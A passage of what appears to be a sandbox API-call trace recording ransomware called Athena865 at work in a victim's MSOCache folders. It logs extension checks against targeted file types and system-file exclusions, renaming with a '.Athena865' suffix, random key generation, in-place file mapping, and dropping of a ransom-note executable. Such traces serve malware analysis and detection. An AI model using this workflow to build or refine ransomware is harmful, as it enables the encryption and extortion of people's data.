lstrlenW (lpString="maw") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0058.134] lstrlenW (lpString="mdbhtml") returned 7 [0058.134] lstrcmpiW (lpString1="jLR.cab", lpString2="mdbhtml") returned -1 [0058.134] lstrlenW (lpString="mdn") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0058.134] lstrlenW (lpString="mdt") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0058.134] lstrlenW (lpString="mfd") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0058.134] lstrlenW (lpString="mpd") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0058.134] lstrlenW (lpString="mrg") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0058.134] lstrlenW (lpString="mud") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0058.134] lstrlenW (lpString="mwb") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0058.134] lstrlenW (lpString="myd") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0058.134] lstrlenW (lpString="ndf") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0058.134] lstrlenW (lpString="nnt") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0058.134] lstrlenW (lpString="nrmlib") returned 6 [0058.134] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0058.134] lstrlenW (lpString="ns2") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0058.134] lstrlenW (lpString="ns3") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0058.134] lstrlenW (lpString="ns4") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0058.134] lstrlenW (lpString="nsf") returned 3 [0058.134] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0058.135] lstrlenW (lpString="nv") returned 2 [0058.135] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0058.135] lstrlenW (lpString="nv2") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0058.135] lstrlenW (lpString="nwdb") returned 4 [0058.135] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0058.135] lstrlenW (lpString="nyf") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0058.135] lstrlenW (lpString="odb") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0058.135] lstrlenW (lpString="odb") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0058.135] lstrlenW (lpString="oqy") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0058.135] lstrlenW (lpString="ora") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0058.135] lstrlenW (lpString="orx") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0058.135] lstrlenW (lpString="owc") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0058.135] lstrlenW (lpString="p96") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0058.135] lstrlenW (lpString="p97") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0058.135] lstrlenW (lpString="pan") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0058.135] lstrlenW (lpString="pdb") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0058.135] lstrlenW (lpString="pdm") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0058.135] lstrlenW (lpString="pnz") returned 3 [0058.135] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0058.135] lstrlenW (lpString="qry") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0058.136] lstrlenW (lpString="qvd") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0058.136] lstrlenW (lpString="rbf") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0058.136] lstrlenW (lpString="rctd") returned 4 [0058.136] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0058.136] lstrlenW (lpString="rod") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0058.136] lstrlenW (lpString="rodx") returned 4 [0058.136] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0058.136] lstrlenW (lpString="rpd") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0058.136] lstrlenW (lpString="rsd") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0058.136] lstrlenW (lpString="sas7bdat") returned 8 [0058.136] lstrcmpiW (lpString1="ojLR.cab", lpString2="sas7bdat") returned -1 [0058.136] lstrlenW (lpString="sbf") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0058.136] lstrlenW (lpString="scx") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0058.136] lstrlenW (lpString="sdb") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0058.136] lstrlenW (lpString="sdc") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0058.136] lstrlenW (lpString="sdf") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0058.136] lstrlenW (lpString="sis") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0058.136] lstrlenW (lpString="spq") returned 3 [0058.136] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0058.136] lstrlenW (lpString="te") returned 2 [0058.136] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0058.137] lstrlenW (lpString="teacher") returned 7 [0058.137] lstrcmpiW (lpString1="jLR.cab", lpString2="teacher") returned -1 [0058.137] lstrlenW (lpString="tmd") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0058.137] lstrlenW (lpString="tps") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0058.137] lstrlenW (lpString="trc") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0058.137] lstrlenW (lpString="trc") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0058.137] lstrlenW (lpString="trm") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0058.137] lstrlenW (lpString="udb") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0058.137] lstrlenW (lpString="udl") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0058.137] lstrlenW (lpString="usr") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0058.137] lstrlenW (lpString="v12") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0058.137] lstrlenW (lpString="vis") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0058.137] lstrlenW (lpString="vpd") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0058.137] lstrlenW (lpString="vvv") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0058.137] lstrlenW (lpString="wdb") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0058.137] lstrlenW (lpString="wmdb") returned 4 [0058.137] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0058.137] lstrlenW (lpString="wrk") returned 3 [0058.137] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0058.137] lstrlenW (lpString="xdb") returned 3 [0058.138] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0058.138] lstrlenW (lpString="xld") returned 3 [0058.138] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0058.138] lstrlenW (lpString="xmlff") returned 5 [0058.138] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0058.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.Athena865") returned 83 [0058.138] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.athena865"), dwFlags=0x1) returned 1 [0058.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.139] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8265165) returned 1 [0058.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518e70 [0058.139] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518de8) returned 1 [0058.140] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.140] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0058.140] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e20d0, lpName=0x0) returned 0x17c [0058.142] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x1e20d0) returned 0x2d50000 [0058.263] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0058.344] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0058.374] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518de8) returned 1 [0058.375] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.375] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0058.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.375] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0058.392] CloseHandle (hObject=0x17c) returned 1 [0058.392] CloseHandle (hObject=0x154) returned 1 [0058.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518e70 | out: hHeap=0x4f0000) returned 1 [0058.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.421] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0058.421] lstrlenW (lpString="Setup.xml") returned 9 [0058.421] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0058.421] lstrlenW (lpString="Setup.xml") returned 9 [0058.421] lstrlenW (lpString="Athena865") returned 9 [0058.421] lstrlenW (lpString=".dll") returned 4 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0058.421] lstrlenW (lpString=".lnk") returned 4 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0058.421] lstrlenW (lpString=".ini") returned 4 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0058.421] lstrlenW (lpString=".sys") returned 4 [0058.421] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0058.421] lstrlenW (lpString="Setup.xml") returned 9 [0058.421] lstrlenW (lpString="bak") returned 3 [0058.421] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0058.421] lstrlenW (lpString="ba_") returned 3 [0058.421] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0058.421] lstrlenW (lpString="dbb") returned 3 [0058.421] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0058.422] lstrlenW (lpString="vmdk") returned 4 [0058.422] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0058.422] lstrlenW (lpString="rar") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0058.422] lstrlenW (lpString="zip") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0058.422] lstrlenW (lpString="tgz") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0058.422] lstrlenW (lpString="vbox") returned 4 [0058.422] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0058.422] lstrlenW (lpString="vdi") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0058.422] lstrlenW (lpString="vhd") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0058.422] lstrlenW (lpString="vhdx") returned 4 [0058.422] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0058.422] lstrlenW (lpString="avhd") returned 4 [0058.422] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0058.422] lstrlenW (lpString="db") returned 2 [0058.422] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0058.422] lstrlenW (lpString="db2") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0058.422] lstrlenW (lpString="db3") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0058.422] lstrlenW (lpString="dbf") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0058.422] lstrlenW (lpString="mdf") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0058.422] lstrlenW (lpString="mdb") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0058.422] lstrlenW (lpString="sql") returned 3 [0058.422] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0058.422] lstrlenW (lpString="sqlite") returned 6 [0058.422] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0058.423] lstrlenW (lpString="sqlite3") returned 7 [0058.423] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0058.423] lstrlenW (lpString="sqlitedb") returned 8 [0058.423] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0058.423] lstrlenW (lpString="xml") returned 3 [0058.423] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0058.423] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0058.423] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0058.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.424] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1872) returned 1 [0058.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518e70 [0058.424] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518de8) returned 1 [0058.425] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.425] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0058.425] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50, lpName=0x0) returned 0x17c [0058.427] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50) returned 0x100000 [0058.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518de8) returned 1 [0058.435] CryptGenRandom (in: hProv=0x518de8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.435] CryptReleaseContext (hProv=0x518de8, dwFlags=0x0) returned 1 [0058.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.435] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0058.435] CloseHandle (hObject=0x17c) returned 1 [0058.435] CloseHandle (hObject=0x154) returned 1 [0058.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518e70 | out: hHeap=0x4f0000) returned 1 [0058.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0058.436] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0058.436] ReleaseMutex (hMutex=0xec) returned 1 [0058.436] CloseHandle (hObject=0xec) returned 1 [0058.436] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" [0058.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0058.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f610 | out: hHeap=0x4f0000) returned 1 [0058.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 62 [0058.436] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FA0A4C7C4CB6A037CAAFF7520D1C9128") returned 0xec [0058.436] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0058.436] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" [0058.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0058.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0058.437] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0058.437] GetLastError () returned 0x0 [0058.437] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0058.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0058.437] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0058.438] CloseHandle (hObject=0xf4) returned 1 [0058.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0058.438] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0058.438] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3b8d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0058.438] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.438] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0058.438] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.438] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3b8d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.438] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.438] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0058.438] lstrcmpiW 